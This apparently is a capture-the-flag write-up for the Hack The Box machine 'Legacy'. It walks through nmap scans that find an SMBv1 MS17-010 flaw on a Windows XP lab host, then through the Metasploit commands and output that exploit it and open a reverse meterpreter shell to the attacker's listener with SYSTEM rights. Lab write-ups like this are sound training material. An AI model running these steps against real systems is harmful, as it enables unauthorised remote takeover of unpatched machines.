

Legacy

Let's start with enumerating services with simple nmap command.

```
$ nmap -sV 10.129.227.181
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-23 08:36 CST
Nmap scan report for 10.129.227.181
Host is up (0.034s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT      STATE SERVICE        VERSION
135/tcp    open  msrpc          Microsoft Windows RPC
139/tcp    open  netbios-ssn    Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds   Microsoft Windows XP microsoft-ds
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp
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Running nmap script to show us more information we can see that host is running Windows XP and SMB v1 which is vulnerable to CVE-2017-0143 RCE. Let's exploit it in Metasploit.

```
$ nmap --script "safe or smb-enum-*" -p 445 10.129.227.181
smb-protocols:
  dialects:
    NT LM 0.12 (SMBv1) [dangerous, but default]
smb-security-mode:
  account_used: <blank>
  authentication_level: user
  challenge_response: supported
  message_signing: disabled (dangerous, but default)
smb-os-discovery:
  OS: Windows XP (Windows 2000 LAN Manager)
  OS CPE: cpe:/o:microsoft:windows_xp::-
  Computer name: legacy
  NetBIOS computer name: LEGACY\x00
  Workgroup: HTB\x00
  System time: 2023-11-28T18:35:42+02:00
smb-vuln-ms17-010:
  VULNERABLE:
  Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
    State: VULNERABLE
    IDs: CVE:CVE-2017-0143
    Risk factor: HIGH
    A critical remote code execution vulnerability exists in Microsoft SMBv1
    servers (ms17-010).
```

Let's run Metasploit and search for our exploit, we are going to use RCE exploit.

```
$ msfconsole
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msf6 > search CVE-2017-0143

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -                                     -              -    -    -
0  exploit/windows/smb/ms17_010_eternalblue 2017-03-14      average Yes    MS17-010 EternalBlue SMB Remote Win
dows Kernel Pool Corruption
1  exploit/windows/smb/ms17_010_psexec      2017-03-14      normal Yes    MS17-010 EternalRomance/EternalSyne
rgy/EternalChampion SMB Remote Windows Code Execution
2  auxiliary/admin/smb/ms17_010_command     2017-03-14      normal No     MS17-010 EternalRomance/EternalSyne
rgy/EternalChampion SMB Remote Windows Command Execution
3  auxiliary/scanner/smb/smb_ms17_010      normal          No     MS17-010 SMB RCE Detection
4  exploit/windows/smb/smb_doublepulsar_rce 2017-04-14      great  Yes    SMB DOUBLEPULSAR Remote Code Execut
ion
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msf6 > use 1
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_psexec) > show options

Module options (exploit/windows/smb/ms17_010_psexec):

Name                Current Setting  Required  Description
--                --
DBGTRACE            false           yes       Show extra debug trace info
LEAKATTEMPTS        99             yes       How many times to try to leak transaction
NAMEDPIPE           no              no        A named pipe that can be connected to (leave blank for auto)
NAMED_PIPES         /usr/share/metasploit-framework/data/wordlists/named_pipes.txt  yes       List of named pipes to check
RHOSTS              no              yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT               445            yes       The Target port (TCP)
SERVICE_DESCRIPTION no              no        Service description to be used on target for pretty listing
SERVICE_DISPLAY_NAME no              no        The service display name
SERVICE_NAME       no              no        The service name
SHARE               ADMIN$         yes       The share to connect to, can be an admin share (ADMIN$, C$, ...) or a normal read/write folder share
SMBDomain           .              no        The Windows domain to use for authentication
SMBPass             no              no        The password for the specified username
SMBUser             no              no        The username to authenticate as

Payload options (windows/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
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EXITFUNC  thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST     10.0.2.15       yes       The listen address (an interface may be specified)
LPORT     4444            yes       The listen port

Exploit target:

Id  Name
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0   Automatic
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Let's now adjust required options to our needs.

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msf6 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 10.129.227.181
RHOSTS => 10.129.227.181
msf6 exploit(windows/smb/ms17_010_psexec) > set LHOST 10.10.14.170
LHOST => 10.10.14.170
```

Now it's just enough to run exploit and wait for a connection. We can see that after a while Metasploit was able to get a shell.

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msf6 exploit(windows/smb/ms17_010_psexec) > exploit

[*] Started reverse TCP handler on 10.10.14.170:4444
[*] 10.129.227.181:445 - Target OS: Windows 5.1
[*] 10.129.227.181:445 - Filling barrel with fish... done
[*] 10.129.227.181:445 - ←———— | Entering Danger Zone | —————→
[*] 10.129.227.181:445 - [*] Preparing dynamite ...
[*] 10.129.227.181:445 - [*] Trying stick 1 (x86) ... Boom!
[*] 10.129.227.181:445 - [+] Successfully Leaked Transaction!
[*] 10.129.227.181:445 - [+] Successfully caught Fish-in-a-barrel
[*] 10.129.227.181:445 - ←———— | Leaving Danger Zone | —————→
[*] 10.129.227.181:445 - Reading from CONNECTION struct at: 0x85d1f7e0
[*] 10.129.227.181:445 - Built a write-what-where primitive ...
[+] 10.129.227.181:445 - Overwrite complete ... SYSTEM session obtained!
[*] 10.129.227.181:445 - Selecting native target
[*] 10.129.227.181:445 - Uploading payload ... RQkdGVvl.exe
[*] 10.129.227.181:445 - Created \RQkdGVvl.exe ...
[+] 10.129.227.181:445 - Service started successfully ...
[*] Sending stage (175686 bytes) to 10.129.227.181
[*] 10.129.227.181:445 - Deleting \RQkdGVvl.exe ...
[*] Meterpreter session 1 opened (10.10.14.170:4444 → 10.129.227.181:1041) at 2023-11-23 08:46:21 -0600

meterpreter > ls
Listing: C:\WINDOWS\system32

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| Mode | Size | Type | Last modified | Name |
|------------------|------|------|---------------------------|---------------|
| 100666/rw-rw-rw- | 261 | fil | 2017-03-16 00:32:27 -0500 | \$winnt\$.inf |
| 040777/rwxrwxrwx | 0 | dir | 2017-03-16 00:18:34 -0500 | 1025 |
| 040777/rwxrwxrwx | 0 | dir | 2017-03-16 00:18:34 -0500 | 1028 |

Both user and root flags can be found at following directories:

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lmeterpreter > ls
Listing: C:\Documents and Settings\john\Desktop

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| Mode | Size | Type | Last modified | Name |
|------------------|------|------|---------------------------|----------|
| 100444/r--r--r-- | 32 | fil | 2017-03-16 01:19:49 -0500 | user.txt |

```

lmeterpreter > ls
Listing: C:\Documents and Settings\Administrator\Desktop

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| Mode | Size | Type | Last modified | Name |
|------------------|------|------|---------------------------|----------|
| 100444/r--r--r-- | 32 | fil | 2017-03-16 01:18:50 -0500 | root.txt |